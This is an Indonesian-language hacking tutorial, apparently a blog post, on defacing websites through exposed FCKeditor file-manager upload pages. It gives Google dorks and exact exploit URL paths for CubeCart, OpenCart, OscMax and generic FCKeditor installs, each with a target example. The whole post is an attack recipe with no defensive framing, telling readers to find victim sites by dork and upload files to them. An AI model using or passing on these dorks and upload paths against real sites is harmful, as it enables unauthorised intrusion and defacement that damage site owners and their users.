Deface Website Dengan Metode Fck Editor

 

 

1. Powered CubeCart

Adalah module Deface Upload file, kita bisa menggunakan cara ini.

Dork    : Powered By CubeCart V 3.0

Exploit :  /admin/includes/rte/editor/filemanager/browser/default/connectors/test.html

Contoh: www.target.com/admin/includes/rte/editor/filemanager/browser/default/connectors/test.html

2. Powered By OpenCart

Dork   :  Powered By OpenCart

Exploit:  admin/view/javascript/fckeditor/editor/filemanager/connectors/test.html

Contoh : www.target.com/admin/view/javascript/fckeditor/editor/filemanager/connectors/test.html

3. Powered By OscMax V 2.0

Dork    : Powered By OscMax V 2.0

Exploit : FCKeditor/editor/filemanager/browser/default/connectors/test.html

Contoh ;www.target.com/FCKeditor/editor/filemanager/browser/default/connectors/test.html

4. Hacking TXt.

Hacking Txt ini sama saja dengan Konsep 3 di atas it, cuma bedany khusus fiile txt saja yg bisa di upload, bentuk file lain tdk akan mnerima  

Dork   : Inurl:/FCKeditor/editor/filemanager/

Exploit : /FCKeditor/editor/filemanager/browser/default/connectors/test.html

Contoh: www.target.com/FCKeditor/editor/filemanager/browser/default/connectors/test.html

dengan mencarinya dengan google dork atau mengexploit urlnya langsung ( tidak semua website support dengan cara fck editor sebaiknya anda mencarinya dengan google dork saja )

Jika sudah ketemu url target maka akan muncul tampilan seperti  ini. (^_^)
Good Luck ;)

sumber : http://jombang-cyber.blogspot.com